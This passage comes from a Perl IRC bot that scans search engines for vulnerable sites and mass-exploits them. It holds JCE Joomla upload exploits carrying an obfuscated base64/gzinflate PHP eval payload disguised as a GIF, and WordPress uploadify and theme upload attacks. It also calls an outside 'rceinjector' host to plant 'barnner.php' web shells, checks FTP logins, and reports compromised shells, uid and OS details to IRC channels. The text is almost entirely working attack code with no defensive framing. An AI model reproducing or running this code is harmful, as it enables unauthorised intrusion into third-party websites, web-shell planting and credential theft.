HR3pbGJ6wSvtXU2i2LEbxzo3eLQyHonAfV4szsBTy+B1fHc44PRxFHPt4p4NYpymJc4d2Bkjw8NZPvDIU+dWhAbual1nSVHWDbbsHI100tRgflcorNbukYYVYzPyBPfCM7HLl6zowyqObEwSDSLv22OwvKx+g9AD8nmO3ItB18xiTQ0HxfStSXOJuaDq3Ukovlmj3xoaepsPeexlytM04l9s7G8ks9osk3z0pSv7cvXazBYQcY1uofivEOSbGObN/KGoQU2SrZQ5rwR++Y9gxG+2qC0fUHpVhsjcXOAPN0oJF5nnwxf1b0UphljE3PPtpmnjizn+AQ==')))); ?>";
  2220. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2221. $header18 = 'magic.php';
  2222. $header19 = 'Content-Disposition: form-data; name="action"';
  2223. $header20 = 'upload';
  2224. $header21 = "-----------------------------41184676334--";
  2225. $header22 = 'X-Request: JSON';
  2226. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2227. $header25 = 'json={"fn":"folderRename","args":["/magic.php.png","magic.php"]}';
  2228. $header24 = "Content-Length: ".length($header25)."";
  2229.     # EOF COde ##
  2230.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
  2231.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(5);
  2232.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
  2233.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2234.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
  2235.     close($remote);
  2236. }
  2237. sub jce_cek_query3() {
  2238.     my $TARGET  = $_[0];
  2239.     ## Start Code ##
  2240. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2241. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2242. $header2 = "Host: $TARGET";
  2243. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2244. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2245. $header5 = "Content-Length: 2286"; #737
  2246. $header6 = "-----------------------------41184676334";
  2247. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2248. $header8 = '/';
  2249. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2250. $header10 = 'Content-Type: application/octet-stream';
  2251. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2252. $header12 = "0";
  2253. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="magic.php.png"';
  2254. $header14 = 'Content-Type: image/gif';
  2255. $header15 = 'GIF89aG';
  2256. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('vUl6QuM4EP58VfwH46uURwsJY0+3AopgISyVjpZ4yn0BFLmJ221W4shkYHuI/34zadKXcuHY0+qqV1rm9ZmZx+NlpaSKFC+k0iKfuNvtg/U1MSbuhihYrt1JFAZu2O33YZwR+8Lunbtp+5en9bXWgyiFjnKVeNIh2+DUbeQja1GHwV/B4IZeDIdK0VI/HNI7R4v8y4ptEPxsHYTD6G3QtQYjmczAgg6ZmmNaEqFsSd2znNzmGBsDQ7Qr2Zh02wkH23CRiwiMXQeFRCYT7swLmBu2yUar5GSlhJ5O/PDkPIgu+3QBBOifn9OD5/U1npb8DaseGJnUXBVcaCDjR5ZtNMtMxt1sVo79jUHOzgbQp7p1fq+lgiCvOQ2Cy/4wS2XKmFVdOq7SNHATEe/+fjxOkRfLjGESd/pRN+kFK1JXPuFDoFRGrYt932IaBS14d7nNu0ok5OqBI4q6hNucgLQL6G9AB+IGKF0guK/yuMone7t7xzM2lfJ/BPCSaOC5A4rFqF5LfPhgcyTGYcPcz8HwxolGmWZxLZK2lJWK+TINnfBn0L0aU+fdP4LeyXLgGComvNSCZxZJdP3T68ugN4wG/f7QufOon8pW6Xscj49KWQtxpuJptDbLJrFu2hb2QqTt/rt1u2J2C1PxRxJtqIVB+dGnE9UL1KFi3w5U6giR1yZwCae5FH/zzi6Jcgpm+fWj+YDhEfXmbDxt6I/mzi0QUxWMtVBd6k5MEQigF9oI3bZU2+/NZA0OALwSVsdRynPwCBHmKTxXJgvl5FvlMqxq5cOBTk+KI4wqM772d5gxnAItcUGKVFVTkFLxcG/PZowiy7lJ1Sm1RYUsXdRiOr5wKHRHG6hYbGFH7a0dRyiuK5UTlGtg3FnzdlZh+FzLv5fi9vZUZYD161bqUdgyB02mMpLhuoJBX+ECJ8z0oFDp0dsNPZVMxvKkduChyItXEz0ra4d3/khGgj3u0DhY6Ko2rFOZS+h6HFceS02Z93uw9xHZkWawipTDgFmIrFe1KJjSxmErbpo1yJtlsJp/KeG6VSVYyLlVuSnDVOsX1VlSkvC8U1tN7CsGcPCv1chafKVozo822psobfzRa++TchBY8bGb1nt0r86T81R8oCRBTExpNFtksCB4HR3pbGJ6wSvtXU2i2LEbxzo3eLQyHonAfV4szsBTy+B1fHc44PRxFHPt4p4NYpymJc4d2Bkjw8NZPvDIU+dWhAbual1nSVHWDbbsHI100tRgflcorNbukYYVYzPyBPfCM7HLl6zowyqObEwSDSLv22OwvKx+g9AD8nmO3ItB18xiTQ0HxfStSXOJuaDq3Ukovlmj3xoaepsPeexlytM04l9s7G8ks9osk3z0pSv7cvXazBYQcY1uofivEOSbGObN/KGoQU2SrZQ5rwR++Y9gxG+2qC0fUHpVhsjcXOAPN0oJF5nnwxf1b0UphljE3PPtpmnjizn+AQ==')))); ?>";
  2257. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2258. $header18 = 'magic.php';
  2259. $header19 = 'Content-Disposition: form-data; name="action"';
  2260. $header20 = 'upload';
  2261. $header21 = "-----------------------------41184676334--";
  2262. $header22 = 'X-Request: JSON';
  2263. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2264. $header25 = 'json={"fn":"folderRename","args":["/magic.php.png","magic.php.pHp"]}';
  2265. $header24 = "Content-Length: ".length($header25)."";
  2266.     # EOF COde ##
  2267.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
  2268.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(5);
  2269.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
  2270.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2271.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
  2272.     close($remote);
  2273. }
  2274.  
  2275.  
  2276. sub ftp_connect {
  2277.     my $url = $_[0];
  2278.     my $host = $_[1];
  2279.     my $user = $_[2];
  2280.     my $pass = $_[3];
  2281.     my $chan = $_[4];
  2282.     my $engine = $_[5];
  2283.     my $logo = $_[6];
  2284.     my $success = 1;
  2285.     use Net::FTP;
  2286.     my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
  2287.         $success = 0 if $ftp->login($user,$pass);
  2288.         $ftp->quit;
  2289.         if ($success == 0) {
  2290.         &msg("$admin","$jcelogo15$engine 9 [FTP] 15[ 4http://".$host." 15] [4 ".$user.":".$pass." 15]");
  2291.         &msg("powercc","$jcelogo15$engine 9 [FTP] 15[ 4http://".$host." 15] [4 ".$user.":".$pass." 15]");
  2292.     }
  2293. }
  2294. sub photostore_exploit() {
  2295. my $chan = $_[0];
  2296. my $bug = $_[1];
  2297. my $simpan = $_[2];
  2298. my $dork = $_[3];
  2299. my $engine = $_[4];
  2300. my $count = 0;
  2301. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$photostorelogo);
  2302. my $num = scalar(@totexploit);
  2303. if ($num > 0){
  2304. foreach my $site(@totexploit){
  2305. $count++;
  2306. if ($count == $num-1) { &msg("$chan","$photostorelogo15$engine 9Finished 15for 9$dork "); }
  2307. my $photostore = "http://".$site.$bug;
  2308. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2309. my $nama = $simpan;
  2310. my $cxshell = "http://".$site."/barnner.php";
  2311. my $cek = &get_content($photostore);sleep(1);
  2312. my $explo = $rceinjector."?url=".$site."&type=photostore";
  2313. &get_content($explo);sleep(1);
  2314. my $check = &get_content($cxshell);sleep(1);
  2315. if ($check =~ /otaelcyber/i){
  2316. my $safe = ""; my $os = ""; my $uid = "";
  2317. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2318. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2319. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2320. &msg("$chan","$photostorelogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  2321. &msg("$nama","$photostorelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $cxshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2322. }
  2323. } exit; }
  2324. }
  2325. }
  2326. }
  2327. sub rightnow_exploit() {
  2328. my $chan = $_[0];
  2329. my $bug = $_[1];
  2330. my $simpan = $_[2];
  2331. my $dork = $_[3];
  2332. my $engine = $_[4];
  2333. my $count = 0;
  2334. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$rightnowlogo);
  2335. my $num = scalar(@totexploit);
  2336. if ($num > 0){
  2337. foreach my $site(@totexploit){
  2338. $count++;
  2339. if ($count == $num-1) { &msg("$chan","$rightnowlogo15$engine 9Finished 15for 9$dork "); }
  2340. my $wordpress = "http://".$site.$bug;
  2341. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2342. my $nama = $simpan;
  2343. my $shell = "cruck://".$site."/include.php";
  2344.  
  2345. my $check = &get_content($wordpress); sleep(1);
  2346. if ($check =~ /<title>jahat<\/title>(.*?)<form/) {
  2347. $os = $1;
  2348.         &msg("$admin","11$engine ReSuLt: 4 $shell 15$os");
  2349.         &msg("$chan","10  ReSuLt: http://$site 11$os");
  2350.         &msg("$nick","11 ReSuLt: $shell 10$os");
  2351. }
  2352. } exit; }
  2353. }
  2354. }
  2355. }
  2356. sub up_exploit() {
  2357.     my $chan = $_[0];
  2358.     my $bug = $_[1];
  2359.     my $simpan = $_[2];
  2360.     my $dork = $_[3];
  2361.     my $engine = $_[4];
  2362.     my $count = 0;
  2363.     my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$uplogo);
  2364.     my $num = scalar(@totexploit);
  2365.     if ($num > 0){
  2366.         foreach my $site(@totexploit){
  2367.             $count++;
  2368.             if ($count == $num-1) { &msg("$chan","$uplogo 14$engine Selesai"); }
  2369.             my $kontol  = "http://".$site."/xmlrpc.php";
  2370.             my $cek  = &get_content($kontol);
  2371.             if ($cek =~ m/XML-RPC server accepts POST requests only/g) {
  2372.             way2($site,$chan,$engine);     
  2373.             }
  2374.         }
  2375.     }
  2376.  
  2377. sub way2() {
  2378. my $site   = $_[0];
  2379. my $chan    = $_[1];
  2380. my $engine = $_[2];    
  2381.                 $test = "http://".$site;
  2382.                 $control = &get_content($test);sleep(7);            
  2383.             if ($control =~ /\/wp-content\/themes\/(.*?)\//i){
  2384.                 $temane = $1;
  2385.                 }  
  2386.     my $bawere    = "http://".$site."/wp-content/themes/".$temane."/includes/uploadify/upload_settings_image.php";
  2387.  
  2388.     my $itilx = get_content($bawere); sleep(3);
  2389.     my $itilx2 = get_content($bawere); sleep(3);
  2390.     if ($itilx =~ /{"status":"NOK", "ERR":"This file is incorect"}/i) {
  2391.     my $ua = LWP::UserAgent->new;
  2392.     $ua->timeout(30);
  2393.     my $response = $ua->post( $bawere,
  2394.         Content_Type => 'form-data',
  2395.         Content => [ 'Filedata' => ['./htx.txt' => '.htaccess'] ]
  2396.     );
  2397. }
  2398.     my $itil = get_content($bawere); sleep(3);
  2399.         my $itil2 = get_content($bawere); sleep(3);
  2400.         my $itil3 = get_content($bawere); sleep(3);
  2401.         my $itil4 = get_content($bawere); sleep(3);
  2402.     if ($itil =~ /{"status":"NOK", "ERR":"This file is incorect"}/i) { 
  2403.     my $ua = LWP::UserAgent->new;
  2404.     $ua->timeout(30);
  2405.     my $response = $ua->post( $bawere,
  2406.         Content_Type => 'form-data',
  2407.         Content => [ 'Filedata' => ["$jembot"] ]
  2408.     );
  2409.     my $body = $response->content;
  2410.     if($body =~ /rel=\\"(.*?)">/){
  2411.         my $out = $1;
  2412.         $out =~ s/\\//g;
  2413.                 my $out2 = "http://".$site."wp-includes/include.php";
  2414.                 my $out3 = "http://".$site."wp-includes/error.php";
  2415.         my $semprot = &get_content($out); sleep(2);
  2416.                 my $semprot2 = &get_content($out2); sleep(2);
  2417.                 my $semprot3 = &get_content($out3);
  2418.  
  2419.         if ($semprot =~ /GIF89a/i) {
  2420.         if ($semprot =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2421.         &msg("$admin","11$engine theme: $temane 4 $out 15$os");
  2422.         &msg("$chan","10$uplogo http://$site theme: $temane 11$os");
  2423.         &msg("$nick","11$uplogo theme: $temane $out 10$os");
  2424. }
  2425.                 if ($semprot2 =~ /GIF89a/i) {
  2426.         if ($semprot2 =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2427.         &msg("$admin","11$engine theme: $temane 4 $out2 15$os");
  2428. }
  2429.                if ($semprot3 =~ /PHProxy/i) {
  2430.        
  2431.         &msg("$admin","11$engine theme: $engine 11 bypass://".$site."wp-includes/error.php ");
  2432.                 }
  2433.             }
  2434.         }
  2435.  
  2436.     if ($itilx2 =~ /{"status":"NOK", "ERR":"This file is incorect"}/i) {   
  2437.     my $ua = LWP::UserAgent->new;
  2438.     $ua->timeout(30);
  2439.     my $response = $ua->post( $bawere,
  2440.         Content_Type => 'form-data',
  2441.         Content => [ 'Filedata' => ['images.php' => 'images.phtml'] ]
  2442. );
  2443.     my $bodyx = $response->content;
  2444.     if($bodyx =~ /rel=\\"(.*?)">/){
  2445.         my $out = $1;
  2446.         $out =~ s/\\//g;
  2447.                 my $out2 = "http://".$site."wp-includes/include.php";
  2448.                 my $out3 = "http://".$site."wp-includes/error.php";
  2449.         my $semprot = &get_content($out); sleep(2);
  2450.                 my $semprot2 = &get_content($out2); sleep(2);
  2451.                 my $semprot3 = &get_content($out3);
  2452.  
  2453.         if ($semprot =~ /GIF89a/i) {
  2454.         if ($semprot =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2455.         &msg("$admin","11$engine theme: $temane 4 $out 15$os");
  2456.         &msg("$chan","10$uplogo http://$site theme: $temane 11$os");
  2457.         &msg("$nick","11$uplogo theme: $temane $out 10$os");
  2458. }
  2459.                 if ($semprot2 =~ /GIF89a/i) {
  2460.         if ($semprot2 =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2461.         &msg("$admin","11$engine theme: $temane 4 $out2 15$os");
  2462. }
  2463.                if ($semprot3 =~ /PHProxy/i) {
  2464.        
  2465.         &msg("$admin","11$engine theme: $engine 11 bypass://".$site."wp-includes/error.php ");
  2466.                 }
  2467.             }
  2468.         }
  2469.  
  2470.        
  2471.     if ($itil2 =~ /{"status":"NOK", "ERR":"This file is incorect"}/i) {
  2472.     my $ua = LWP::UserAgent->new;
  2473.     $ua->timeout(30);
  2474.     my $response = $ua->post( $bawere,
  2475.         Content_Type => 'form-data',
  2476.         Content => [ 'Filedata' => ["$jembot"] ]
  2477. );
  2478.     my $bodyx2 = $response->content;
  2479.     if($bodyx2 =~ /rel=\\"(.*?)">/){
  2480.         my $out = $1;
  2481.         $out =~ s/\\//g;
  2482.                 my $out2 = "http://".$site."wp-includes/include.php";
  2483.                 my $out3 = "http://".$site."wp-includes/error.php";
  2484.         my $semprot = &get_content($out); sleep(2);
  2485.                 my $semprot2 = &get_content($out2); sleep(2);
  2486.                 my $semprot3 = &get_content($out3);
  2487.  
  2488.         if ($semprot =~ /GIF89a/i) {
  2489.         if ($semprot =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2490.         &msg("$admin","11$engine theme: $temane 4 $out 15$os");
  2491.         &msg("$chan","10$uplogo http://$site theme: $temane 11$os");
  2492.         &msg("$nick","11$uplogo theme: $temane $out 10$os");
  2493. }
  2494.                 if ($semprot2 =~ /GIF89a/i) {
  2495.         if ($semprot2 =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2496.         &msg("$admin","11$engine theme: $temane 4 $out2 15$os");
  2497. }
  2498.                if ($semprot3 =~ /PHProxy/i) {
  2499.        
  2500.         &msg("$admin","11$engine theme: $engine 11 bypass://".$site."wp-includes/error.php ");
  2501.                 }
  2502.             }
  2503.         }
  2504.  
  2505.                if ($itil3 =~ /{"status":"NOK", "ERR":"This file is incorect"}/i) { 
  2506.     my $ua = LWP::UserAgent->new;
  2507.     $ua->timeout(30);
  2508.     my $response = $ua->post( $bawere,
  2509.         Content_Type => 'form-data',
  2510.         Content => [ 'Filedata' => ['images.php' => 'images.php.phtml'] ]
  2511. );
  2512.     my $bodyx3 = $response->content;
  2513.     if($bodyx3 =~ /rel=\\"(.*?)">/){
  2514.         my $out = $1;
  2515.         $out =~ s/\\//g;
  2516.                 my $out2 = "http://".$site."wp-includes/include.php";
  2517.                 my $out3 = "http://".$site."wp-includes/error.php";
  2518.         my $semprot = &get_content($out); sleep(2);
  2519.                 my $semprot2 = &get_content($out2); sleep(2);
  2520.                 my $semprot3 = &get_content($out3);
  2521.  
  2522.         if ($semprot =~ /GIF89a/i) {
  2523.         if ($semprot =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2524.         &msg("$admin","11$engine theme: $temane 4 $out 15$os");
  2525.         &msg("$chan","10$uplogo send to $nick theme: $temane 11$os");
  2526.         &msg("$nick","11$uplogo theme: $temane $out 10$os");
  2527. }
  2528.                 if ($semprot2 =~ /GIF89a/i) {
  2529.         if ($semprot2 =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2530.         &msg("$admin","11$engine theme: $temane 4 $out2 15$os");
  2531. }
  2532.                if ($semprot3 =~ /PHProxy/i) {
  2533.        
  2534.         &msg("$admin","11$engine theme: $engine 11 bypass://".$site."wp-includes/error.php ");
  2535.                 }
  2536.             }
  2537.         }
  2538.  
  2539. if ($itil2 =~ /{"status":"NOK", "ERR":"This file is incorect"}/i) {
  2540.     my $ua = LWP::UserAgent->new;
  2541.     $ua->timeout(30);
  2542.     my $response = $ua->post( $bawere,
  2543.         Content_Type => 'form-data',
  2544.         Content => [ 'Filedata' => ['images.php' => 'images.php.pHp'] ]
  2545. );
  2546.     my $bodyx4 = $response->content;
  2547.     if($bodyx4 =~ /rel=\\"(.*?)">/){
  2548.         my $out = $1;
  2549.         $out =~ s/\\//g;
  2550.                 my $out2 = "http://".$site."wp-includes/include.php";
  2551.                 my $out3 = "http://".$site."wp-includes/error.php";
  2552.         my $semprot = &get_content($out); sleep(2);
  2553.                 my $semprot2 = &get_content($out2); sleep(2);
  2554.                 my $semprot3 = &get_content($out3);
  2555.  
  2556.         if ($semprot =~ /GIF89a/i) {
  2557.         if ($semprot =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2558.         &msg("$admin","11$engine theme: $temane 4 $out 15$os");
  2559.         &msg("$chan","10$uplogo http://$site theme: $temane 11$os");
  2560.         &msg("$nick","11$uplogo theme: $temane $out 10$os");
  2561. }
  2562.                 if ($semprot2 =~ /GIF89a/i) {
  2563.         if ($semprot2 =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2564.         &msg("$admin","11$engine theme: $temane 4 $out2 15$os");
  2565. }
  2566.                if ($semprot3 =~ /PHProxy/i) {
  2567.        
  2568.         &msg("$admin","11$engine theme: $engine 11 bypass://".$site."wp-includes/error.php ");
  2569.                 }
  2570.             }
  2571.         }
  2572.  
  2573. if ($itil2 =~ /{"status":"NOK", "ERR":"This file is incorect"}/i) {
  2574.     my $ua = LWP::UserAgent->new;
  2575.     $ua->timeout(30);
  2576.     my $response = $ua->post( $bawere,
  2577.         Content_Type => 'form-data',
  2578.         Content => [ 'Filedata' => ['images.php' => 'images.php.gif'] ]
  2579. );
  2580.     my $bodyx5 = $response->content;
  2581.     if($bodyx5 =~ /rel=\\"(.*?)">/){
  2582.         my $out = $1;
  2583.         $out =~ s/\\//g;
  2584.                 my $out2 = "http://".$site."wp-includes/include.php";
  2585.                 my $out3 = "http://".$site."wp-includes/error.php";
  2586.         my $semprot = &get_content($out); sleep(2);
  2587.                 my $semprot2 = &get_content($out2); sleep(2);
  2588.                 my $semprot3 = &get_content($out3);
  2589.  
  2590.         if ($semprot =~ /GIF89a/i) {
  2591.         if ($semprot =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2592.         &msg("$admin","11$engine theme: $temane 4 $out 15$os");
  2593.         &msg("$chan","10$uplogo  http://$site theme: $temane 11$os");
  2594.         &msg("$nick","11$uplogo theme: $temane $out 10$os");
  2595. }
  2596.                 if ($semprot2 =~ /GIF89a/i) {
  2597.         if ($semprot2 =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  2598.         &msg("$admin","11$engine theme: $temane 4 $out2 15$os");
  2599. }
  2600.                if ($semprot3 =~ /PHProxy/i) {
  2601.        
  2602.         &msg("$admin","11$engine theme: $engine 11 bypass://".$site."wp-includes/error.php ");
  2603.                 }
  2604.             }
  2605.         }
  2606.    
  2607.     }
  2608. }
  2609. sub blog_exploit() {
  2610.     my $chan = $_[0];
  2611.     my $bug = $_[1];
  2612.     my $simpan = $_[2];
  2613.     my $dork = $_[3];
  2614.     my $engine = $_[4];
  2615.     my $count = 0;
  2616.     my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$bloglogo);
  2617.     my $num = scalar(@totexploit);
  2618.     if ($num > 0){
  2619.         foreach my $site(@totexploit){
  2620.         $count++;
  2621.         if ($count == $num-1) { &msg("$chan","$bloglogo15$engine 11Finish"); }
  2622.             my $blogfolio = "http://".$site.$bug;
  2623.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2624.             my $shell = "http://".$site."wp-content/themes/blogfolio/uploads/barnner.php";
  2625.             my $cek  = &get_content($blogfolio);sleep(1);
  2626.             my $explo = $hajar."?url=".$site."&type=blog";
  2627.             &get_content($explo);sleep(1);
  2628.             my $check = &get_content($shell);sleep(1);
  2629.             if ($check =~ /otaelcyber/i){
  2630.             my $safe = ""; my $os = ""; my $uid = "";
  2631.             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2632.             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2633.             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2634.             &msg("$chan","$bloglogo4TARGET 12SEND 3TO 13$nick Selamatt Yaaa... ^_^ 4<9=4> 15SafeMode=$safe OS=$os uid=$uid ");
  2635.             &msg("$nick","$bloglogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell 15SafeMode=$safe OS=$os uid=$uid ");
  2636.             }
  2637.             } exit; }
  2638.         }
  2639.     }
  2640. }
  2641. sub blogg_exploit() {
  2642.     my $chan = $_[0];
  2643.     my $bug = $_[1];
  2644.     my $simpan = $_[2];
  2645.     my $dork = $_[3];
  2646.     my $engine = $_[4];
  2647.     my $count = 0;
  2648.     my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$blogglogo);
  2649.     my $num = scalar(@totexploit);
  2650.     if ($num > 0){
  2651.         foreach my $site(@totexploit){
  2652.         $count++;
  2653.         if ($count == $num-1) { &msg("$chan","$blogglogo15$engine 11Finish"); }
  2654.             my $Bloggie = "http://".$site.$bug;
  2655.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2656.             my $shell = "http://".$site."wp-content/themes/Bloggie/uploads/barnner.php";
  2657.             my $cek  = &get_content($Bloggie);sleep(1);
  2658.             my $explo = $rceinjector."?url=".$site."&type=bloggie";
  2659.             &get_content($explo);sleep(1);
  2660.             my $check = &get_content($shell);sleep(1);
  2661.             if ($check =~ /otaelcyber/i){
  2662.             my $safe = ""; my $os = ""; my $uid = "";
  2663.             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2664.             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2665.             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2666.             &msg("$chan","$blogglogo4TARGET 12SEND 3TO 13$nick Selamatt Yaaa... ^_^ 4<9=4> 15SafeMode=$safe OS=$os uid=$uid ");
  2667.             &msg("$nick","$blogglogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell 15SafeMode=$safe OS=$os uid=$uid ");
  2668.             }
  2669.             } exit; }
  2670.         }
  2671.     }
  2672. }
  2673. sub suco_exploit() {
  2674.     my $chan = $_[0];
  2675.     my $bug = $_[1];
  2676.     my $simpan = $_[2];
  2677.     my $dork = $_[3];
  2678.     my $engine = $_[4];
  2679.     my $count = 0;
  2680.     my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$sucologo);
  2681.     my $num = scalar(@totexploit);
  2682.     if ($num > 0){
  2683.         foreach my $site(@totexploit){
  2684.         $count++;
  2685.         if ($count == $num-1) { &msg("$chan","$sucologo15$engine 11Finish"); }
  2686.             my $suco = "http://".$site.$bug;
  2687.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2688.             my $sucos = "http://".$site."wp-content/themes/suco/uploads/barnner.php";
  2689.             my $cek  = &get_content($suco);sleep(1);
  2690.             my $explo = $rceinjector."?url=".$site."&type=suco";
  2691.             &get_content($explo);sleep(1);
  2692.             my $check = &get_content($sucos);sleep(1);
  2693.             if ($check =~ /otaelcyber/i){
  2694.             my $safe = ""; my $os = ""; my $uid = "";
  2695.             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2696.             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2697.             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2698.             &msg("$chan","$sucologo4TARGET 12SEND 3TO 13$nick Selamatt Yaaa... ^_^ 4<9=4> 15SafeMode=$safe OS=$os uid=$uid ");
  2699.             &msg("$nick","$sucologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $sucos 15SafeMode=$safe OS=$os uid=$uid ");
  2700.             }
  2701.             } exit; }
  2702.         }
  2703.     }
  2704. }
  2705. sub itheme_exploit() {
  2706.     my $chan = $_[0];
  2707.     my $bug = $_[1];
  2708.     my $nick = $_[2];
  2709.     my $dork = $_[3];
  2710.     my $engine = $_[4];
  2711.     my $count = 0;
  2712.     my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$ithemeslogo);
  2713.     my $num = scalar(@totexploit);
  2714.     if ($num > 0){
  2715.         foreach my $site(@totexploit){
  2716.         $count++;
  2717.         if ($count == $num-1) { &msg("$chan","$ithemeslogo15$engine 11Finish"); }
  2718.             my $ithemes = "http://".$site.$bug;
  2719.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2720.             my $shell = "http://".$site."wp-content/themes/ithemes2/uploads/barnner.php";
  2721.             my $cek  = &get_content($ithemes);sleep(1);
  2722.             my $explo = $rceinjector."?url=".$site."&type=ithemes";
  2723.             &get_content($explo);sleep(1);
  2724.             my $check = &get_content($shell);sleep(1);
  2725.             if ($check =~ /otaelcyber/i){
  2726.             my $safe = ""; my $os = ""; my $uid = "";
  2727.             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2728.             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2729.             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2730.             &msg("$chan","$ithemeslogo4TARGET 12SEND 3TO 13$nick Selamatt Yaaa... ^_^ 4<9=4> 15SafeMode=$safe OS=$os uid=$uid ");
  2731.             &msg("$nick","$ithemeslogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell 15SafeMode=$safe OS=$os uid=$uid ");
  2732.             }
  2733.             } exit; }
  2734.         }
  2735.     }
  2736. }
  2737. sub pin_exploit() {
  2738.     my $chan = $_[0];
  2739.     my $bug = $_[1];
  2740.     my $simpan = $_[2];
  2741.     my $dork = $_[3];
  2742.     my $engine = $_[4];
  2743.     my $count = 0;
  2744.     my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$pinlogo);
  2745.     my $num = scalar(@totexploit);
  2746.     if ($num > 0){
  2747.         foreach my $site(@totexploit){
  2748.         $count++;
  2749.         if ($count == $num-1) { &msg("$chan","$pinlogo15$engine 11Finish"); }
  2750.             my $pinboard = "http://".$site.$bug;
  2751.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2752.             my $shell = "http://".$site."wp-content/themes/pinboard/uploads/barnner.php";
  2753.             my $cek  = &get_content($pinboard);sleep(1);
  2754.             my $explo = $rceinjector."?url=".$site."&type=pin";
  2755.             &get_content($explo);sleep(1);
  2756.             my $check = &get_content($shell);sleep(1);
  2757.             if ($check =~ /otaelcyber/i){
  2758.             my $safe = ""; my $os = ""; my $uid = "";
  2759.             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2760.             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2761.             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
